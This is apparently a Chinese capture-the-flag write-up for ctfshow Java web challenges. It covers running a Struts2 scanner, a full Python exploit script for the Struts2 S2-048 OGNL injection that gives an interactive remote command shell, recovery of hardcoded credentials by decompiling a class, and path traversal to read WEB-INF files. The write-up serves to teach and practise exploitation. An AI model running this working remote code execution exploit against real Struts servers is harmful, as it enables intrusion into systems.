CTFSHOW JAVA篇

WEB279-294 296-297

脚本通杀 下载 下载链接：https://pan.baidu.com/s/19yr0tWbG1UU_ULjEan5ttQ 提取码：bn71 具体用法在md文件中，例如 检测 python Struts2Scan.py -u http://94c4c47e-4fb3-408c-97d7-56a5094f84a7.chall.ctf.show/S2-001/login.action 利用 python Struts2Scan.py -u http://94c4c47e-4fb3-408c-97d7-56a5094f84a7.chall.ctf.show/S2-001/login.action -n S2-001 --exec 执行命令env即可得到flag

web295

脚本没跑出来，又专门找了个跑s2-048的脚本 漏洞利用地址在S2-048/integration/saveGangster.action

import json,re
import requests
import threading
import urllib

def Poc(url,command):
    header = {'Content-Type': 'application/x-www-form-urlencoded'}
    poc = {"name":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' \
                          "+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}","age":"1","__checkbox_bustedBefore":"true","description":"123123"}
    data = urllib.urlencode(poc)
    try:
        result = requests.post(url,data=data,headers=header)
        if result.status_code == 200:
            
            print result.content
    except requests.ConnectionError,e:
        print e

th = {"url":""}

while True:
    if th.get("url") != "":
        input_cmd = raw_input("cmd >>: ")
        if input_cmd == "exit":
            exit()
        elif input_cmd == 'set':
            url = raw_input("set url :")
            th['url'] = url
        elif input_cmd == 'show url':
            print th.get("url")
        else:
            Poc(th.get("url"),input_cmd)
    else:
        url = raw_input("set url :")
        th["url"] = url

web298

利用工具 java decompiler反编译class文件 下载地址https://github.com/java-decompiler/jd-gui/releases 在loginservlet.class中存在输出flag的语句。只要user.getVipStatus()是true即可。 然后跳转到该函数，发现传一个username=admin&password=ctfshow就能返回true 具体地址url/ctfshow/login?username=admin&password=ctfshow

299

java读文件，首先看看WEB-INF/web.xml得到com.ctfshow.servlet.GetFlag 读WEB-INF/classes/com/ctfshow/servlet/GetFlag.class 得到class内容，虽然看不懂，但是发现有个/f13g。那我们直接读这个文件?file=…/…/…/…/…/fl3g 得到flag

300

和上题一样 找到的flag叫f1bg